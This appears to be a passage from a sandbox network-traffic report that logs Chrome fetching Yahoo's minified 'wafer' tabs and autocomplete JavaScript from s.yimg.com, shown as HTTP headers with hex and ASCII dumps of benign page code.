2024-05-23 22:34:37 UTC	1237	IN	Data Raw: 69 64 20 30 3d 3d 3d 72 3f 64 6f 63 75 6d 65 6e 74 3a 72 2c 73 3d 65 2e 73 65 6c 65 63 74 6f 72 2c 6c 3d 76 6f 69 64 20 30 3d 3d 3d 73 3f 22 2e 77 61 66 65 72 2d 74 6f 67 67 6c 65 22 3a 73 3b 69 28 74 68 69 73 2c 74 29 3b 76 61 72 20 63 3d 61 28 74 68 69 73 2c 28 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 29 2e 63 61 6c 6c 28 74 68 69 73 2c 7b 72 6f 6f 74 3a 6f 2c 73 65 6c 65 63 74 6f 72 3a 6c 2c 57 61 66 65 72 43 6c 61 73 73 3a 28 75 7c 7c 6e 28 29 29 2e 64 65 66 61 75 6c 74 7d 29 29 3b 72 65 74 75 72 6e 20 63 2e 73 79 6e 63 28 29 2c 70 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 63 5b 65 5d 3d 63 5b 65 5d 2e 62 69 6e 64 28 63 29 7d 29 2c 63 2e 61 64 64 45 76 65 6e 74 Data Ascii: id 0===r?document:r,s=e.selector,l=void 0===s?".wafer-toggle":s;i(this,t);var c=a(this,(t.__proto__\|\|Object.getPrototypeOf(t)).call(this,{root:o,selector:l,WaferClass:(u\|\|n()).default}));return c.sync(),p.forEach(function(e){c[e]=c[e].bind(c)}),c.addEvent

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	49778	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:37 UTC	529	OUT	GET /aaq/wf/wf-tabs-1.12.6.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:37 UTC	874	IN	HTTP/1.1 200 OK x-amz-id-2: dQ4tAODRkWDJsWHQ32PgaKGm5DAZH8C02U+qNJRNlFSm7By7XuRlCHo3UDBnOjseAdsCyc+u0XUmyXxc+1ypaASPU0sRjeQk x-amz-request-id: PDJ4PD9AZB3B3G8G Date: Sat, 18 May 2024 04:46:03 GMT Last-Modified: Tue, 15 Mar 2022 07:44:13 GMT ETag: "37e8ba981f7f4f2319c129547e77412e" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: cJHOK.OWbDhGC7mVs_QWbU7pF5o8P2mJ Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 15071 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 496115 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 74 61 62 73 22 2c 5b 5d 2c 65 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 74 61 62 73 22 5d 3d 65 28 29 3a 28 74 2e 77 61 66 65 72 3d 74 2e 77 61 66 65 72 7c 7c 7b 7d 2c 74 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 74 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d 2c 74 Data Ascii: !function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("wafer-tabs",[],e):"object"==typeof exports?exports["wafer-tabs"]=e():(t.wafer=t.wafer\|\|{},t.wafer.wafers=t.wafer.wafers\|\|{},t
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 65 26 26 65 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 74 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 65 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 2c 65 29 3a 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 65 29 7d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 3b 76 61 72 20 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 2c 65 29 7b 76 61 72 20 61 3d Data Ascii: pe=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}Object.defineProperty(e,"__esModule",{value:!0});var r=function(){function t(t,e){var a=
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 6e 64 45 76 65 6e 74 2c 77 3d 68 2e 41 54 54 52 5f 50 52 45 46 49 58 2c 54 3d 5b 22 68 61 6e 64 6c 65 4b 65 79 44 6f 77 6e 22 2c 22 68 61 6e 64 6c 65 54 61 72 67 65 74 46 6f 63 75 73 49 6e 22 2c 22 68 61 6e 64 6c 65 54 61 72 67 65 74 46 6f 63 75 73 4f 75 74 22 2c 22 68 61 6e 64 6c 65 54 61 72 67 65 74 4d 6f 75 73 65 4c 65 61 76 65 22 2c 22 68 61 6e 64 6c 65 54 61 72 67 65 74 4d 6f 75 73 65 4f 76 65 72 22 2c 22 74 61 62 43 68 61 6e 67 65 22 2c 22 74 61 62 43 6c 69 63 6b 22 2c 22 74 61 62 46 6f 63 75 73 49 6e 22 2c 22 74 61 62 4d 6f 75 73 65 4f 76 65 72 22 5d 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 69 28 74 68 69 73 2c 65 29 3b 66 6f 72 28 76 61 72 20 61 2c 73 3d 6f 28 74 68 69 73 2c 28 65 2e 5f 5f 70 72 6f 74 Data Ascii: ndEvent,w=h.ATTR_PREFIX,T=["handleKeyDown","handleTargetFocusIn","handleTargetFocusOut","handleTargetMouseLeave","handleTargetMouseOver","tabChange","tabClick","tabFocusIn","tabMouseOver"],_=function(t){function e(t){i(this,e);for(var a,s=o(this,(e.__prot
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 3d 7b 61 63 74 69 76 65 43 6c 61 73 73 3a 6e 2c 61 75 74 6f 53 77 69 74 63 68 52 6f 74 61 74 69 6f 6e 49 6e 74 65 72 76 61 6c 3a 45 2c 61 75 74 6f 53 77 69 74 63 68 54 69 6d 65 6f 75 74 3a 5f 2c 62 6f 75 6e 64 61 72 79 3a 4f 2c 65 6c 65 6d 3a 74 2c 69 6e 61 63 74 69 76 65 43 6c 61 73 73 3a 6c 2c 69 73 43 6f 6c 6c 61 70 73 61 62 6c 65 3a 68 2c 73 69 6e 67 6c 65 54 61 62 70 61 6e 65 6c 3a 48 2c 73 68 6f 75 6c 64 41 6c 6c 6f 77 44 65 66 61 75 6c 74 3a 64 2c 73 68 6f 75 6c 64 41 75 74 6f 53 77 69 74 63 68 3a 6d 2c 73 68 6f 75 6c 64 44 69 73 61 62 6c 65 46 6f 63 75 73 3a 62 2c 73 68 6f 75 6c 64 48 61 6e 64 6c 65 46 6f 63 75 73 3a 76 2c 73 68 6f 75 6c 64 48 61 6e 64 6c 65 48 6f 76 65 72 3a 66 2c 73 68 6f 75 6c 64 53 63 72 6f 6c 6c 52 65 73 74 6f 72 65 3a 63 2c Data Ascii: ={activeClass:n,autoSwitchRotationInterval:E,autoSwitchTimeout:_,boundary:O,elem:t,inactiveClass:l,isCollapsable:h,singleTabpanel:H,shouldAllowDefault:d,shouldAutoSwitch:m,shouldDisableFocus:b,shouldHandleFocus:v,shouldHandleHover:f,shouldScrollRestore:c,
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 2e 5f 75 74 69 6c 2c 61 3d 74 2e 73 68 6f 75 6c 64 41 75 74 6f 53 77 69 74 63 68 2c 69 3d 74 2e 74 61 72 67 65 74 45 6c 65 6d 3b 61 26 26 28 6d 28 69 2c 22 66 6f 63 75 73 69 6e 22 2c 74 68 69 73 2e 68 61 6e 64 6c 65 54 61 72 67 65 74 46 6f 63 75 73 49 6e 2c 7b 70 61 73 73 69 76 65 3a 21 31 7d 29 2c 6d 28 69 2c 22 66 6f 63 75 73 6f 75 74 22 2c 74 68 69 73 2e 68 61 6e 64 6c 65 54 61 72 67 65 74 46 6f 63 75 73 4f 75 74 2c 7b 70 61 73 73 69 76 65 3a 21 31 7d 29 2c 6d 28 69 2c 22 6d 6f 75 73 65 6c 65 61 76 65 22 2c 74 68 69 73 2e 68 61 6e 64 6c 65 54 61 72 67 65 74 4d 6f 75 73 65 4c 65 61 76 65 2c 7b 70 61 73 73 69 76 65 3a 21 31 7d 29 2c 6d 28 69 2c 22 6d 6f 75 73 65 6f 76 65 72 22 2c 74 68 69 73 2e 68 61 6e 64 6c 65 54 61 72 67 65 74 4d 6f 75 73 65 4f 76 65 Data Ascii: ._util,a=t.shouldAutoSwitch,i=t.targetElem;a&&(m(i,"focusin",this.handleTargetFocusIn,{passive:!1}),m(i,"focusout",this.handleTargetFocusOut,{passive:!1}),m(i,"mouseleave",this.handleTargetMouseLeave,{passive:!1}),m(i,"mouseover",this.handleTargetMouseOve
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 2e 73 77 69 74 63 68 54 61 62 28 22 6e 65 78 74 22 2c 7b 66 6f 63 75 73 3a 21 30 7d 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 34 30 3a 65 26 26 28 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 73 77 69 74 63 68 54 61 62 28 22 6e 65 78 74 22 2c 7b 66 6f 63 75 73 3a 21 30 7d 29 29 7d 7d 7d 2c 7b 6b 65 79 3a 22 70 61 75 73 65 53 77 69 74 63 68 69 6e 67 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 75 74 69 6c 2e 73 77 69 74 63 68 54 61 62 54 69 6d 65 6f 75 74 26 26 62 28 74 68 69 73 2e 5f 75 74 69 6c 2e 73 77 69 74 63 68 54 61 62 54 69 6d 65 6f 75 74 2c 74 68 69 73 29 7d 7d 2c 7b 6b 65 79 3a 22 61 63 74 69 76 61 74 65 54 61 62 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 Data Ascii: .switchTab("next",{focus:!0});break;case 40:e&&(t.preventDefault(),this.switchTab("next",{focus:!0}))}}},{key:"pauseSwitching",value:function(){this._util.switchTabTimeout&&b(this._util.switchTabTimeout,this)}},{key:"activateTab",value:function(t){var e=t
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 68 74 3d 4b 2e 6f 66 66 73 65 74 48 65 69 67 68 74 2b 22 70 78 22 29 7d 7d 6b 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 7b 7d 2c 69 3d 61 2e 74 61 62 45 6c 65 6d 2c 73 3d 61 2e 68 61 73 54 72 69 67 67 65 72 2c 72 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 2c 6e 3d 76 6f 69 64 20 30 3b 69 66 28 6e 3d 45 3f 78 26 26 78 5b 30 5d 3a 78 26 26 78 5b 72 5d 2c 69 3d 3d 3d 74 29 7b 69 66 28 69 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 64 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 73 65 6c 65 63 74 65 64 22 2c 21 30 29 2c 53 26 26 28 69 2e 73 Data Ascii: ht=K.offsetHeight+"px")}}k.forEach(function(){var a=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},i=a.tabElem,s=a.hasTrigger,r=arguments[1],n=void 0;if(n=E?x&&x[0]:x&&x[r],i===t){if(i.classList.add(d),i.setAttribute("aria-selected",!0),S&&(i.s
2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 3a 22 64 65 61 63 74 69 76 61 74 65 54 61 62 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 61 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 69 3d 61 2e 61 63 74 69 76 65 43 6c 61 73 73 2c 6f 3d 61 2e 69 6e 61 63 74 69 76 65 43 6c 61 73 73 2c 73 3d 61 2e 74 61 62 73 45 6c 65 6d 73 2c 72 3d 61 2e 74 61 72 67 65 74 45 6c 65 6d 73 2c 6e 3d 61 2e 74 72 69 67 67 65 72 41 63 74 69 76 65 43 6c 61 73 73 3b 74 68 69 73 2e 5f 73 74 61 74 65 2e 61 63 74 69 76 65 54 61 62 45 6c 65 6d 3d 6e 75 6c 6c 2c 73 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d Data Ascii: :"deactivateTab",value:function(t){var e=this,a=this._util,i=a.activeClass,o=a.inactiveClass,s=a.tabsElems,r=a.targetElems,n=a.triggerActiveClass;this._state.activeTabElem=null,s.some(function(){var a=arguments.length>0&&void 0!==arguments[0]?arguments[0]
2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 6e 22 2c 74 68 69 73 2e 68 61 6e 64 6c 65 4b 65 79 44 6f 77 6e 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 54 61 72 67 65 74 4d 6f 75 73 65 4f 76 65 72 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 68 69 73 2e 5f 75 74 69 6c 2e 73 68 6f 75 6c 64 41 75 74 6f 53 77 69 74 63 68 26 26 74 68 69 73 2e 70 61 75 73 65 53 77 69 74 63 68 69 6e 67 28 29 7d 7d 2c 7b 6b 65 79 3a 22 74 61 62 4d 6f 75 73 65 4f 76 65 72 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 61 3d 65 2e 73 68 6f 75 6c 64 41 75 74 6f 53 77 69 74 63 68 2c 69 3d 65 2e 73 68 6f 75 6c 64 48 61 6e 64 6c 65 48 6f 76 65 72 3b 61 26 26 74 68 69 73 2e 70 61 75 73 65 53 77 69 74 63 68 69 6e 67 28 29 2c 69 26 26 74 68 69 73 Data Ascii: n",this.handleKeyDown)}},{key:"handleTargetMouseOver",value:function(t){this._util.shouldAutoSwitch&&this.pauseSwitching()}},{key:"tabMouseOver",value:function(t){var e=this._util,a=e.shouldAutoSwitch,i=e.shouldHandleHover;a&&this.pauseSwitching(),i&&this
2024-05-23 22:34:38 UTC	1300	IN	Data Raw: 73 65 4f 76 65 72 22 5d 2c 5b 22 5f 73 65 6c 66 22 2c 22 6d 6f 75 73 65 6f 76 65 72 22 5d 5d 7d 2c 65 2e 64 65 66 61 75 6c 74 3d 5f 2c 74 2e 65 78 70 6f 72 74 73 3d 65 2e 64 65 66 61 75 6c 74 7d 2c 22 2e 2f 73 72 63 2f 63 6f 6e 74 72 6f 6c 6c 65 72 2e 6a 73 22 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 61 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 72 65 74 75 72 6e 20 75 3d 6f 28 61 28 22 2e 2f 73 72 63 2f 62 61 73 65 2e 6a 73 22 29 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 74 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3f 74 3a 7b 64 65 66 61 75 6c 74 3a 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 28 74 2c 65 29 7b 69 66 28 21 28 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 65 29 29 74 68 72 6f 77 20 Data Ascii: seOver"],["_self","mouseover"]]},e.default=_,t.exports=e.default},"./src/controller.js":function(t,e,a){"use strict";function i(){return u=o(a("./src/base.js"))}function o(t){return t&&t.__esModule?t:{default:t}}function s(t,e){if(!(t instanceof e))throw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	49779	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:37 UTC	537	OUT	GET /aaq/wf/wf-autocomplete-1.31.8.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:37 UTC	854	IN	HTTP/1.1 200 OK x-amz-id-2: LYWikMTGfhm+RaTzfwob0CpS0KcrKlV9c5Yn6p+MiU+M4hEwjKCu/Lj9J84g/oyK6u+5hVszLv0= x-amz-request-id: NWX9GN7AA644KRPX Date: Thu, 16 May 2024 11:22:46 GMT Last-Modified: Mon, 04 Dec 2023 12:09:37 GMT ETag: "2ed3fd24c05aadf407ab0550e217596a" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: tN7eaH3sKsI8Er3FZh9P6IhfxZGzu3nm Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 31014 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 645112 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-autocomplete",[],t):"object"==typeof exports?exports["wafer-autocomplete"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wa
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 74 2e 6e 63 29 2c 73 2e 73 72 63 3d 74 2e 70 2b 22 77 66 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 31 2e 33 31 2e 38 2d 22 2b 7b 30 3a 22 36 64 37 34 32 65 39 36 36 63 22 7d 5b 65 5d 2b 22 2e 63 68 75 6e 6b 2e 6a 73 22 3b 76 61 72 20 6c 3d 73 65 74 54 69 6d 65 6f 75 74 28 69 2c 31 32 65 34 29 3b 72 65 74 75 72 6e 20 73 2e 6f 6e 65 72 72 6f 72 3d 73 2e 6f 6e 6c 6f 61 64 3d 69 2c 6f 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 73 29 2c 6e 7d 2c 74 2e 6d 3d 65 2c 74 2e 63 3d 61 2c 74 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 69 2c 61 29 7b 74 2e 6f 28 65 2c 69 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 69 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 31 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 61 7d 29 7d 2c Data Ascii: t.nc),s.src=t.p+"wf-autocomplete-1.31.8-"+{0:"6d742e966c"}[e]+".chunk.js";var l=setTimeout(i,12e4);return s.onerror=s.onload=i,o.appendChild(s),n},t.m=e,t.c=a,t.d=function(e,i,a){t.o(e,i)\|\|Object.defineProperty(e,i,{configurable:!1,enumerable:!0,get:a})},
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 69 3d 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3b 66 6f 72 28 76 61 72 20 61 20 69 6e 20 69 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 69 2c 61 29 26 26 28 65 5b 61 5d 3d 69 5b 61 5d 29 7d 72 65 74 75 72 6e 20 65 7d 2c 75 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 69 3d 30 3b 69 3c 74 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 7b 76 61 72 20 61 3d 74 5b 69 5d 3b 61 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 61 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 61 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 61 26 26 28 61 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 Data Ascii: gth;t++){var i=arguments[t];for(var a in i)Object.prototype.hasOwnProperty.call(i,a)&&(e[a]=i[a])}return e},u=function(){function e(e,t){for(var i=0;i<t.length;i++){var a=t[i];a.enumerable=a.enumerable\|\|!1,a.configurable=!0,"value"in a&&(a.writable=!0),Ob
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 20 30 3d 3d 3d 67 3f 31 3a 4e 75 6d 62 65 72 28 67 29 2c 6e 75 6d 50 6c 61 63 65 68 6f 6c 64 65 72 73 3a 66 2c 70 6c 61 63 65 68 6f 6c 64 65 72 3a 64 2c 73 79 6e 63 4f 6e 53 65 61 72 63 68 3a 79 2c 74 61 72 67 65 74 3a 73 2c 74 65 6d 70 6c 61 74 65 3a 63 2c 74 79 70 65 3a 4c 2c 75 72 6c 3a 75 2c 74 69 6d 65 6f 75 74 3a 6e 75 6c 6c 3d 3d 3d 77 7c 7c 76 6f 69 64 20 30 3d 3d 3d 77 3f 36 65 33 3a 4e 75 6d 62 65 72 28 77 29 7d 29 2c 6d 26 26 6f 2e 72 65 6e 64 65 72 43 6c 65 61 72 42 75 74 74 6f 6e 28 29 2c 6f 2e 63 72 65 61 74 65 4c 69 73 74 45 6c 65 6d 28 29 2c 6f 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 2c 6f 7d 72 65 74 75 72 6e 20 6f 28 74 2c 65 29 2c 75 28 74 2c 5b 7b 6b 65 79 3a 22 72 65 6e 64 65 72 43 6c 65 61 72 42 75 74 74 6f 6e 22 Data Ascii: 0===g?1:Number(g),numPlaceholders:f,placeholder:d,syncOnSearch:y,target:s,template:c,type:L,url:u,timeout:null===w\|\|void 0===w?6e3:Number(w)}),m&&o.renderClearButton(),o.createListElem(),o.addEventListeners(),o}return o(t,e),u(t,[{key:"renderClearButton"
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 72 28 22 49 6e 76 61 6c 69 64 20 61 74 74 65 6d 70 74 20 74 6f 20 64 65 73 74 72 75 63 74 75 72 65 20 6e 6f 6e 2d 69 74 65 72 61 62 6c 65 20 69 6e 73 74 61 6e 63 65 22 29 7d 7d 28 29 2c 6e 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 31 3b 74 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 69 3d 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3b 66 6f 72 28 76 61 72 20 61 20 69 6e 20 69 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 69 2c 61 29 26 26 28 65 5b 61 5d 3d 69 5b 61 5d 29 7d 72 65 74 75 72 6e 20 65 7d 2c 6f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b Data Ascii: r("Invalid attempt to destructure non-iterable instance")}}(),n=Object.assign\|\|function(e){for(var t=1;t<arguments.length;t++){var i=arguments[t];for(var a in i)Object.prototype.hasOwnProperty.call(i,a)&&(e[a]=i[a])}return e},o=function(){function e(e,t){
2024-05-23 22:34:37 UTC	1300	IN	Data Raw: 65 6d 3a 74 2c 65 72 72 6f 72 43 6c 61 73 73 3a 6e 2c 69 64 3a 6c 2c 69 64 49 6e 64 65 78 3a 6b 2c 73 65 6c 65 63 74 6f 72 3a 73 2c 73 75 62 6d 69 74 4f 6e 43 6c 65 61 72 3a 4e 75 6d 62 65 72 28 63 29 7c 7c 30 2c 73 75 63 63 65 73 73 43 6c 61 73 73 3a 6f 7d 2c 22 73 65 6c 65 63 74 22 3d 3d 3d 66 26 26 28 74 68 69 73 2e 5f 75 74 69 6c 2e 66 6f 72 6d 45 6c 65 6d 3d 76 28 74 2c 22 77 61 66 65 72 2d 66 6f 72 6d 22 29 29 2c 74 68 69 73 2e 5f 73 74 61 74 65 3d 7b 61 63 74 69 76 65 3a 21 31 2c 6c 69 73 74 4f 70 65 6e 3a 21 31 2c 6f 72 69 67 69 6e 61 6c 54 65 72 6d 3a 22 22 2c 70 6c 61 63 65 68 6f 6c 64 65 72 73 56 69 73 69 62 6c 65 3a 21 31 2c 74 65 72 6d 3a 22 22 7d 2c 4f 26 26 74 68 69 73 2e 72 65 6e 64 65 72 43 6c 65 61 72 42 75 74 74 6f 6e 28 29 2c 4c 2e 66 Data Ascii: em:t,errorClass:n,id:l,idIndex:k,selector:s,submitOnClear:Number(c)\|\|0,successClass:o},"select"===f&&(this._util.formElem=v(t,"wafer-form")),this._state={active:!1,listOpen:!1,originalTerm:"",placeholdersVisible:!1,term:""},O&&this.renderClearButton(),L.f
